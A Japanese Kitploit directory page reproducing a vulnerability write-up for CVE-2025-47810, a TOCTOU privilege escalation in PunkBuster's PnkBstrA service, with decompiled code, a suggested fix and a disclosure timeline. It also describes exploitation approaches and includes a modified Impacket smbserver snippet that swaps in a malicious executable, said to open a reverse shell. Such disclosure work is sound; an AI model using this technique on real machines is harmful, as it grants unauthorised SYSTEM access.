Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-47810 — PunkBuster LPI から NT AUTHORITY\SYSTEM へ | Kitploit
ツール/GitHubGitHub/ptrstr/cve-2025-47810
特権昇格脆弱性分析エクスプロイト横移動バイナリ解析
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI から NT AUTHORITY\SYSTEM へ

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PunkBuster LPI(CVE-2025-47810)

Screenshot

背景

PunkBusterは、2つのサービスとオプションのカーネルドライバとしてインストールされます。

  • PnkBstrA: 常にバックグラウンドで動作し、PunkBuster全体を管理するサービス
  • PnkBstrB: 保護されたゲームが開始されると起動するサービス。Aよりも多くの機能を備えています。

両方のサービスは同様の構造を持ち、localhostのUDPポート[44301, 44400]の範囲で待ち受けます。 ポートが見つかると、HKLM:\SOFTWARE\Even Balance\PnkBstrAまたはHKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrAのPort値に書き込まれます。

各リクエストは1500バイト(ただし、NULターミネータのため1499バイトのみ受信)のグローバルバッファに格納されます。

リクエストデータに標準的な構造はありませんが、通常は以下の構造です:

  • 1バイト目(通常は文字)で呼び出す機能を示す
  • 機能への引数(複数の場合は通常スペース区切り)

PnkBstrAのリクエストタイプは以下の通りです:

  • l: Load: PnkBstrBを起動・更新する
    • 更新されたPnkBstrB実行可能ファイルのパス(オプション)を1つ取る
  • u: Unload: PnkBstrBを停止する
  • v: Version: 単純にバージョンを返す
  • m: Monitor: PIDを受け取り、プロセス内にPunkBusterクライアントDLL(pbcl.dll)が存在するか確認し、存在すればそのメモリをダンプする

脆弱性

ロードハンドラ(l)にはTOCTOUスタイルの脆弱性が含まれており、NT AUTHORITY\SYSTEMへのローカル権限昇格(LPE)につながります。

ハンドラの流れは次のようになります:

  1. PnkBstrBサービスを削除する
  2. 引数にファイルが指定されている場合、そのMD5を計算する
  3. 引数に実行可能ファイルがある場合、Authenticodeと証明書を検証する
    • その他のチェックとして、証明書のサブジェクトがEven Balance, Inc.であることを確認する
  4. ファイルのハンドルを保持せずに750msから2.25秒スリープし、その間に引数のファイルをプラットフォームに応じてC:\Windows\SysWOW64\PnkBstrB.exeまたはC:\Windows\System32\PnkBstrB.exeにコピーしようとする
  5. システムディレクトリにコピーされたファイルのMD5を計算する
  6. 両方のMD5ハッシュが一致するかを検証する
    • 一致した場合、新しくコピーしたファイルを使用してLocalSystemとして実行されるPnkBstrBサービスを作成し起動する。

問題は、PnkBstrAが操作するファイルが各操作ごとに何度も開き直されることで、攻撃者が操作の間にファイルを改ざんできる可能性があるという点です。

これにより、ファイルの証明書が検証された後、ファイルがすり替えられ、悪意のあるファイルがPnkBstrBサービスの実行可能ファイルとして扱われる可能性があります。この実行可能ファイルにより、権限のないユーザーがNT AUTHORITY\SYSTEMに昇格できるようになります。

関連する逆コンパイル結果を以下に示します:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

簡単な修正方法は、まずファイルを安全な一時的な場所(例:PnkBstrB.exe.tmp)にコピーし、そこからMD5とチェックを計算することです。これにより、悪意あるユーザーがファイルを編集できなくなります。また、ファイルの1つのコピーのみが開かれるため、SMBを悪用した攻撃も防げます。

悪用

アプローチ1

攻撃シナリオとしては、悪意のあるファイルを提供し、MD5が計算されるのを待って、WinVerifyTrustと証明書チェックを通過するように元のPnkBstrB.exeに置き換え、その後再び悪意のあるファイルに置き換えて、2回目のMD5を通過させ、ファイルがコピーされて実行されるようにするというものが考えられます。

しかし、このシナリオは実行が非常に困難です。ファイルの置き換えが難しく、PnkBstrAによって開かれている間にファイルを変更しても、変更が適用されないように見えるからです。これは、コード内のINJECTION POINT 1にスケジュールを合わせるのが難しいためです。おそらく、多くのタイムクリティカルな優先度の高いスレッドを使用し、その一部は常にファイルの置き換えを試み、他のスレッドはビジーウェイトで同時実行コアをブロックすることで可能かもしれません。

アプローチ2

別のアプローチとしては、PnkBstrBと悪意のあるファイルの間でMD5衝突を発生させようとするものです。これは、最初に正当なファイルを最初のMD5の候補として使用し、証明書のチェックを受けさせることで機能します。しかし、その後750ミリ秒以上の十分な時間があり、ファイルを独自のものに置き換えることができます。すると、2回目のMD5が通過し、ファイルが注入されます。ただし、これを開発中は衝突が生成されるのを待つのが面倒だったため、別のアプローチを選びました。

アプローチ3

このコードはWindowsに依存しており、Windows自身のI/O関数にマッピングされるfopenを使用しています。定義上、これはSMB共有にアクセス可能であることを意味します。さらに、MSDNではこの動作がサポートされていると述べられています:

fopenはUNCパスやマッピングされたネットワークドライブを含むパスを、コードを実行するシステムが実行時に共有またはマッピングされたドライブにアクセスできる限り受け入れます。

これは、最初のアプローチを使用できることを意味しますが、コードがSMB共有に依存するため、ファイルが要求された回数に応じて異なるファイルを送信します。

Impacketのsmbserverを修正することで、この動作を実現できます。 完全な.patchファイルはこちらにあります。主な変更点は以下の通りです:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

ご覧のとおり、ファイルを初めて開くとき(最初のMD5)または少なくとも8回目(ファイルコピー以降)は、クライアントに悪意のあるファイルを送信し、それ以外の場合は元のファイルを送信します。

悪意のあるファイルのコードはこちらにあります。これはリバースシェルを備えた単純なHello Worldサービスです。

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

開示

EvenBalanceには2025年2月15日以降、複数の方法で連絡を試みましたが、回答はありませんでした。

この問題は2025年5月10日に完全に開示されました。

ツールをダウンロード